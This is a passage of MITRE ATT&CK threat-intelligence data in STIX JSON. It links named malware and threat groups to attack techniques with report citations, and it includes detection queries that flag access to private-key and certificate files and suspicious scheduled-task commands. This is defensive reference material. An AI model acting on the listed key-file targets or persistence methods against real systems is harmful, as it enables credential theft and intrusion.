2016)","relationship_type":"uses","source_ref":"malware--9752aef4-a1f3-4328-929f-b64eb0536090","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d0b3dc96-7adb-4d38-b3cf-b448535ffa60","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye CARBANAK June 2017","description":"Bennett, J., Vengerik, B. (2017, June 12). Behind the CARBANAK Backdoor. Retrieved June 11, 2018.","url":"https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html"}],"modified":"2020-03-16T15:31:23.859Z","description":"[Carbanak](https://attack.mitre.org/software/S0030) has a command to delete files.(Citation: FireEye CARBANAK June 2017)","relationship_type":"uses","source_ref":"malware--72f54d66-675d-4587-9bd3-4ed09f9522e4","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d0b54471-3dd1-4c4a-aad6-4ae089523198","created":"2022-03-30T14:26:51.863Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-15T13:11:50.259Z","description":"Monitor access to files and directories related to cryptographic keys and certificates as a means for potentially detecting access patterns that may indicate collection and exfiltration activity. \n\nAnalytic 1 - Unauthorized access to cryptographic key files.\n\n (index=security sourcetype=\"WinEventLog:Security\" EventCode=4663 ObjectName IN (\"*.key\", \"*.pgp\", \"*.gpg\", \"*.ppk\", \"*.p12\", \"*.pem\", \"*.pfx\", \"*.cer\", \"*.p7b\", \"*.asc\", \"*private key*\", \"*certificate*\")) OR\n(index=sysmon sourcetype=\"WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=11 TargetObject IN (\"*.key\", \"*.pgp\", \"*.gpg\", \"*.ppk\", \"*.p12\", \"*.pem\", \"*.pfx\", \"*.cer\", \"*.p7b\", \"*.asc\", \"*private key*\", \"*certificate*\")) OR\n(index=os sourcetype=\"linux_secure\" action=\"open\" filepath IN (\"*.key\", \"*.pgp\", \"*.gpg\", \"*.ppk\", \"*.p12\", \"*.pem\", \"*.pfx\", \"*.cer\", \"*.p7b\", \"*.asc\", \"*private key*\", \"*certificate*\")) OR\n(index=os sourcetype=\"macos_secure\" event_type=\"open\" file_path IN (\"*.key\", \"*.pgp\", \"*.gpg\", \"*.ppk\", \"*.p12\", \"*.pem\", \"*.pfx\", \"*.cer\", \"*.p7b\", \"*.asc\", \"*private key*\", \"*certificate*\"))","relationship_type":"detects","source_ref":"x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71","target_ref":"attack-pattern--60b508a1-6a5e-46b1-821a-9f7b78752abf","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d0b65904-8378-43f4-93da-f70a7eefe0e3","created":"2024-09-16T09:24:18.077Z","revoked":false,"external_references":[{"source_name":"Google Cloud APT41 2024","description":"Mike Stokkel et al. (2024, July 18). APT41 Has Arisen From the DUST. Retrieved September 16, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/apt41-arisen-from-dust"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-16T09:24:18.077Z","description":"[APT41 DUST](https://attack.mitre.org/campaigns/C0040) involved access of external victim websites for target development.(Citation: Google Cloud APT41 2024)","relationship_type":"uses","source_ref":"campaign--add4d9de-1256-4166-83b8-57087288dced","target_ref":"attack-pattern--16cdd21f-da65-4e4f-bc04-dd7d198c7b26","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d0c15113-67a0-4f02-8a92-d22165642d40","created":"2022-10-13T17:21:05.268Z","revoked":false,"external_references":[{"source_name":"Korean FSI TA505 2020","description":"Financial Security Institute. (2020, February 28). Profiling of TA505 Threat Group That Continues to Attack the Financial Sector. Retrieved July 14, 2022.","url":"https://www.fsec.or.kr/user/bbs/fsec/163/344/bbsDataView/1382.do?page=1&column=&search=&searchSDate=&searchEDate=&bbsDataCategory="}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-13T17:21:05.268Z","description":"[SDBbot](https://attack.mitre.org/software/S0461) can enumerate a list of running processes on a compromised machine.(Citation: Korean FSI TA505 2020)","relationship_type":"uses","source_ref":"malware--92b03a94-7147-4952-9d5a-b4d24da7487c","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d0c60722-e668-4597-a25f-f7e1eb1a5962","type":"relationship","created":"2019-09-13T16:47:13.103Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Machete July 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf","description":"ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019."},{"description":"The Cylance Threat Research Team. (2017, March 22). El Machete's Malware Attacks Cut Through LATAM. Retrieved September 13, 2019.","url":"https://threatvector.cylance.com/en_us/home/el-machete-malware-attacks-cut-through-latam.html","source_name":"Cylance Machete Mar 2017"},{"source_name":"360 Machete Sep 2020","url":"https://blog.360totalsecurity.com/en/apt-c-43-steals-venezuelan-military-secrets-to-provide-intelligence-support-for-the-reactionaries-hpreact-campaign/","description":"kate. (2020, September 25). APT-C-43 steals Venezuelan military secrets to provide intelligence support for the reactionaries — HpReact campaign. Retrieved November 20, 2020."}],"modified":"2020-11-23T22:25:18.547Z","description":"[Machete](https://attack.mitre.org/software/S0409) produces file listings in order to search for files to be exfiltrated.(Citation: ESET Machete July 2019)(Citation: Cylance Machete Mar 2017)(Citation: 360 Machete Sep 2020)","relationship_type":"uses","source_ref":"malware--35cd1d01-1ede-44d2-b073-a264d727bc04","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d0c8b03f-7c57-4156-bc5e-cd0c45327ef3","type":"relationship","created":"2020-09-23T20:30:55.923Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trustwave Pillowmint June 2020","url":"https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/pillowmint-fin7s-monkey-thief/","description":"Trustwave SpiderLabs. (2020, June 22). Pillowmint: FIN7’s Monkey Thief . Retrieved July 27, 2020."}],"modified":"2020-10-02T17:23:24.565Z","description":"[Pillowmint](https://attack.mitre.org/software/S0517) has deleted the filepath %APPDATA%\\Intel\\devmonsrv.exe.(Citation: Trustwave Pillowmint June 2020)","relationship_type":"uses","source_ref":"malware--bd7a9e13-69fa-4243-a5e5-04326a63f9f2","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d0cab002-8d7c-4aab-ac22-ac7631f338ba","created":"2022-03-30T14:26:51.868Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-26T16:01:41.019Z","description":"Monitor executed commands and arguments that may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code.\n\nAnalytic 1 - Look for task scheduling commands being executed with unusual parameters.\n\nindex=security (sourcetype=\"WinEventLog:Security\" OR sourcetype=\"linux_secure\" OR sourcetype=\"macos_secure\" OR sourcetype=\"container_logs\")\n| eval CommandLine = coalesce(CommandLine, process)\n| where (sourcetype=\"WinEventLog:Security\" AND EventCode IN (4697, 4702, 4698)) OR\n (sourcetype=\"linux_secure\" AND CommandLine LIKE \"%cron%\" OR CommandLine LIKE \"%at%\") OR\n (sourcetype=\"macos_secure\" AND CommandLine LIKE \"%launchctl%\" OR CommandLine LIKE \"%cron%\") OR\n (sourcetype=\"container_logs\" AND (CommandLine LIKE \"%cron%\" OR CommandLine LIKE \"%at%\"))\n| where (sourcetype=\"WinEventLog:Security\" AND (CommandLine LIKE \"%/create%\" OR CommandLine LIKE \"%/delete%\" OR CommandLine LIKE \"%/change%\")) OR\n (sourcetype=\"linux_secure\" AND (CommandLine LIKE \"%-f%\" OR CommandLine LIKE \"%-m%\" OR CommandLine LIKE \"%--env%\")) OR\n (sourcetype=\"macos_secure\" AND (CommandLine LIKE \"%/Library/LaunchDaemons%\" OR CommandLine LIKE \"%/Library/LaunchAgents%\" OR CommandLine LIKE \"%/System/Library/LaunchDaemons%\" OR CommandLine LIKE \"%/System/Library/LaunchAgents%\")) OR\n (sourcetype=\"container_logs\" AND (CommandLine LIKE \"%-f%\" OR CommandLine LIKE \"%--schedule%\" OR CommandLine LIKE \"%--env%\")) ","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d0cc4ab9-e211-4824-af74-7d88699731a2","type":"relationship","created":"2019-04-19T15:30:36.833Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"US-CERT. (2019, April 10). MAR-10135536-8 – North Korean Trojan: HOPLIGHT. Retrieved April 19, 2019.","url":"https://www.us-cert.gov/ncas/analysis-reports/AR19-100A","source_name":"US-CERT HOPLIGHT Apr 2019"}],"modified":"2019-04-22T19:41:53.493Z","description":"[HOPLIGHT](https://attack.mitre.org/software/S0376) has injected into running processes.(Citation: US-CERT HOPLIGHT Apr 2019)\t","relationship_type":"uses","source_ref":"malware--454fe82d-6fd2-4ac6-91ab-28a33fe01369","target_ref":"attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d0cd2d2a-3a74-488b-8227-00e32ed12291","type":"relationship","created":"2019-03-18T14:05:57.544Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT40 March 2019","url":"https://www.fireeye.com/blog/threat-research/2019/03/apt40-examining-a-china-nexus-espionage-actor.html","description":"Plan, F., et al. (2019, March 4). APT40: Examining a China-Nexus Espionage Actor. Retrieved March 18, 2019."},{"source_name":"CISA AA21-200A APT40 July 2021","url":"https://us-cert.cisa.gov/ncas/alerts/aa21-200a","description":"CISA. (2021, July 19). (AA21-200A) Joint Cybersecurity Advisory – Tactics, Techniques, and Procedures of Indicted APT40 Actors Associated with China’s MSS Hainan State Security Department. Retrieved August 12, 2021."}],"modified":"2021-10-04T12:22:40.250Z","description":"[Leviathan](https://attack.mitre.org/groups/G0065) relies on web shells for an initial foothold as well as persistence into the victim's systems.(Citation: FireEye APT40 March 2019)(Citation: CISA AA21-200A APT40 July 2021)","relationship_type":"uses","source_ref":"intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e","target_ref":"attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d0cd5f13-7e44-4728-98df-6e832f5d54dc","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf","description":"Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.","source_name":"Forcepoint Monsoon"}],"modified":"2019-07-11T13:53:06.121Z","description":"(Citation: Forcepoint Monsoon)","relationship_type":"uses","source_ref":"intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0","target_ref":"malware--f5352566-1a64-49ac-8f7f-97e1d1a03300","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d0ce49aa-fc45-431a-8109-90958fb15b5e","created":"2022-09-26T14:30:21.266Z","revoked":false,"external_references":[{"source_name":"Bitdefender FunnyDream Campaign November 2020","description":"Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-26T14:30:21.266Z","description":"[FunnyDream](https://attack.mitre.org/software/S1044) can send compressed and obfuscated packets to C2.(Citation: Bitdefender FunnyDream Campaign November 2020)","relationship_type":"uses","source_ref":"malware--be25c1c0-1590-4219-a3d5-6f31799d1d1b","target_ref":"attack-pattern--ad255bfe-a9e6-4b52-a258-8d3462abe842","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d0d74930-6b1d-4d1d-ba7f-60b93c114fd9","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Fidelis INOCNATION","description":"Fidelis Cybersecurity. (2015, December 16). Fidelis Threat Advisory #1020: Dissecting the Malware Involved in the INOCNATION Campaign. Retrieved March 24, 2016.","url":"https://www.fidelissecurity.com/sites/default/files/FTA_1020_Fidelis_Inocnation_FINAL_0.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T02:20:41.806Z","description":"[Hi-Zor](https://attack.mitre.org/software/S0087) uses various XOR techniques to obfuscate its components.(Citation: Fidelis INOCNATION)","relationship_type":"uses","source_ref":"malware--5967cc93-57c9-404a-8ffd-097edfa7bdfc","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d0ddfe52-8e91-4576-b7e2-912b51eca87d","created":"2024-07-29T22:32:54.246Z","revoked":false,"external_references":[{"source_name":"DomainTools WinterVivern 2021","description":"Chad Anderson. (2021, April 27). Winter Vivern: A Look At Re-Crafted Government MalDocs Targeting Multiple Languages. Retrieved July 29, 2024.","url":"https://www.domaintools.com/resources/blog/winter-vivern-a-look-at-re-crafted-government-maldocs/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-29T22:32:54.246Z","description":"[Winter Vivern](https://attack.mitre.org/groups/G1035) script execution includes basic victim information gathering steps which are then transmitted to command and control servers.(Citation: DomainTools WinterVivern 2021)","relationship_type":"uses","source_ref":"intrusion-set--75a07184-a7e5-4222-95a1-a04dbc96a29c","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d0dedd7e-d480-4611-b4b2-90f1ba71091b","type":"relationship","created":"2021-04-06T12:22:23.750Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Aqua Kinsing April 2020","url":"https://blog.aquasec.com/threat-alert-kinsing-malware-container-vulnerability","description":"Singer, G. (2020, April 3). Threat Alert: Kinsing Malware Attacks Targeting Container Environments. Retrieved April 1, 2021."}],"modified":"2021-04-08T18:09:43.294Z","description":"[Kinsing](https://attack.mitre.org/software/S0599) was executed with an Ubuntu container entry point that runs shell scripts.(Citation: Aqua Kinsing April 2020)","relationship_type":"uses","source_ref":"malware--d6e55656-e43f-411f-a7af-45df650471c5","target_ref":"attack-pattern--7b50a1d3-4ca7-45d1-989d-a6503f04bfe1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d0e4c9af-070a-43bd-82e6-c047f7ebf491","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT TYPEFRAME June 2018","description":"US-CERT. (2018, June 14). MAR-10135536-12 – North Korean Trojan: TYPEFRAME. Retrieved July 13, 2018.","url":"https://www.us-cert.gov/ncas/analysis-reports/AR18-165A"}],"modified":"2020-03-17T13:49:31.168Z","description":"[TYPEFRAME](https://attack.mitre.org/software/S0263) can gather the disk volume information.(Citation: US-CERT TYPEFRAME June 2018)","relationship_type":"uses","source_ref":"malware--7ba0fc46-197d-466d-8b9f-f1c64d5d81e5","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d0e52896-097b-4133-9aee-75b74a4bbc7c","created":"2022-09-29T15:50:49.772Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"DHS CISA AA22-055A MuddyWater February 2022","description":"FBI, CISA, CNMF, NCSC-UK. (2022, February 24). Iranian Government-Sponsored Actors Conduct Cyber Operations Against Global Government and Commercial Networks. Retrieved September 27, 2022.","url":"https://www.cisa.gov/uscert/ncas/alerts/aa22-055a"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-29T17:29:25.844Z","description":"[PowGoop](https://attack.mitre.org/software/S1046) has used a DLL named Goopdate.dll to impersonate a legitimate Google update file.(Citation: DHS CISA AA22-055A MuddyWater February 2022)","relationship_type":"uses","source_ref":"malware--c19d19ae-dd58-4584-8469-966bbeaa80e3","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d0e5d834-338b-4c5f-968a-f9f477bc7b9f","type":"relationship","created":"2020-03-13T17:48:59.225Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-13T17:48:59.225Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--58af3705-8740-4c68-9329-ec015a7013c2","target_ref":"attack-pattern--aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d0e68e5d-66a1-4f7d-ace6-8ad5d028fa20","type":"relationship","created":"2021-10-01T01:57:31.709Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro TeamTNT","url":"https://documents.trendmicro.com/assets/white_papers/wp-tracking-the-activities-of-teamTNT.pdf","description":"Fiser, D. Oliveira, A. (n.d.). Tracking the Activities of TeamTNT A Closer Look at a Cloud-Focused Malicious Actor Group. Retrieved September 22, 2021."}],"modified":"2021-10-01T01:57:31.709Z","description":"[TeamTNT](https://attack.mitre.org/groups/G0139) has used an IRC bot for C2 communications.(Citation: Trend Micro TeamTNT)","relationship_type":"uses","source_ref":"intrusion-set--35d1b3be-49d4-42f1-aaa6-ef159c880bca","target_ref":"attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d0eaa321-d917-4dee-aca4-6644ed2df1df","created":"2021-06-11T17:52:32.026Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Malwarebytes Kimsuky June 2021","description":"Jazi, H. (2021, June 1). Kimsuky APT continues to target South Korean government using AppleSeed backdoor. Retrieved June 10, 2021.","url":"https://blog.malwarebytes.com/threat-analysis/2021/06/kimsuky-apt-continues-to-target-south-korean-government-using-appleseed-backdoor/"},{"source_name":"KISA Operation Muzabi","description":"KISA. (2021). Phishing Target Reconnaissance and Attack Resource Analysis Operation Muzabi. Retrieved March 8, 2024.","url":"https://web.archive.org/web/20220328121326/https://boho.or.kr/filedownload.do?attach_file_seq=2695&attach_file_id=EpF2695.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-30T17:31:57.416Z","description":"[AppleSeed](https://attack.mitre.org/software/S0622) can take screenshots on a compromised host by calling a series of APIs.(Citation: Malwarebytes Kimsuky June 2021)(Citation: KISA Operation Muzabi)","relationship_type":"uses","source_ref":"malware--295721d2-ee20-4fa3-ade3-37f4146b4570","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d0ed3128-67f0-43dd-b1d9-01843eb71b77","type":"relationship","created":"2017-05-31T21:33:27.046Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://securelist.com/the-epic-turla-operation/65545/","description":"Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.","source_name":"Kaspersky Turla"}],"modified":"2019-07-14T21:04:45.642Z","description":"(Citation: Kaspersky Turla)","relationship_type":"uses","source_ref":"intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6","target_ref":"tool--cde2d700-9ed1-46cf-9bce-07364fe8b24f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d0efbf46-7f6a-4bf9-be4f-a52cd510174c","created":"2022-08-22T15:10:34.517Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cybereason Bumblebee August 2022","description":"Cybereason. (2022, August 17). Bumblebee Loader – The High Road to Enterprise Domain Control. Retrieved August 29, 2022.","url":"https://www.cybereason.com/blog/threat-analysis-report-bumblebee-loader-the-high-road-to-enterprise-domain-control"},{"source_name":"Symantec Bumblebee June 2022","description":"Kamble, V. (2022, June 28). Bumblebee: New Loader Rapidly Assuming Central Position in Cyber-crime Ecosystem. Retrieved August 24, 2022.","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bumblebee-loader-cybercrime"},{"source_name":"Proofpoint Bumblebee April 2022","description":"Merriman, K. and Trouerbach, P. (2022, April 28). This isn't Optimus Prime's Bumblebee but it's Still Transforming. Retrieved August 22, 2022.","url":"https://www.proofpoint.com/us/blog/threat-insight/bumblebee-is-still-transforming"},{"source_name":"Medium Ali Salem Bumblebee April 2022","description":"Salem, A. (2022, April 27). The chronicles of Bumblebee: The Hook, the Bee, and the Trickbot connection. Retrieved September 2, 2022.","url":"https://elis531989.medium.com/the-chronicles-of-bumblebee-the-hook-the-bee-and-the-trickbot-connection-686379311056"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-17T14:48:13.397Z","description":"[Bumblebee](https://attack.mitre.org/software/S1039) has relied upon a user opening an ISO file to enable execution of malicious shortcut files and DLLs.(Citation: Proofpoint Bumblebee April 2022)(Citation: Symantec Bumblebee June 2022)(Citation: Cybereason Bumblebee August 2022)(Citation: Medium Ali Salem Bumblebee April 2022)\n","relationship_type":"uses","source_ref":"malware--04378e79-4387-468a-a8f7-f974b8254e44","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d0f0a908-c1d6-4783-8396-2137ced13603","created":"2024-02-23T20:49:51.895Z","revoked":false,"external_references":[{"source_name":"Rostovcev APT41 2021","description":"Nikita Rostovcev. (2022, August 18). APT41 World Tour 2021 on a tight schedule. Retrieved February 22, 2024.","url":"https://www.group-ib.com/blog/apt41-world-tour-2021/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-23T20:49:51.895Z","description":"[APT41](https://attack.mitre.org/groups/G0096) cloned victim user Git repositories during intrusions.(Citation: Rostovcev APT41 2021)","relationship_type":"uses","source_ref":"intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7","target_ref":"attack-pattern--cff94884-3b1c-4987-a70b-6d5643c621c3","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d0f797ce-9176-4b74-8d64-fad4e1bdef4f","type":"relationship","created":"2017-05-31T21:33:27.042Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064518/Carbanak_APT_eng.pdf","description":"Kaspersky Lab's Global Research and Analysis Team. (2015, February). CARBANAK APT THE GREAT BANK ROBBERY. Retrieved August 23, 2018.","source_name":"Kaspersky Carbanak"}],"modified":"2019-03-22T19:59:27.098Z","description":"(Citation: Kaspersky Carbanak)","relationship_type":"uses","source_ref":"intrusion-set--55033a4d-3ffe-46b2-99b4-2c1541e9ce1c","target_ref":"tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d0f83de0-975e-4cc2-8423-e91549f952d9","type":"relationship","created":"2020-06-04T19:45:16.052Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"objective-see windtail2 jan 2019","url":"https://objective-see.com/blog/blog_0x3D.html","description":"Wardle, Patrick. (2019, January 15). Middle East Cyber-Espionage analyzing WindShift's implant: OSX.WindTail (part 2). Retrieved October 3, 2019."}],"modified":"2020-06-04T19:45:16.052Z","description":"[WindTail](https://attack.mitre.org/software/S0466) has the ability to receive and execute a self-delete command.(Citation: objective-see windtail2 jan 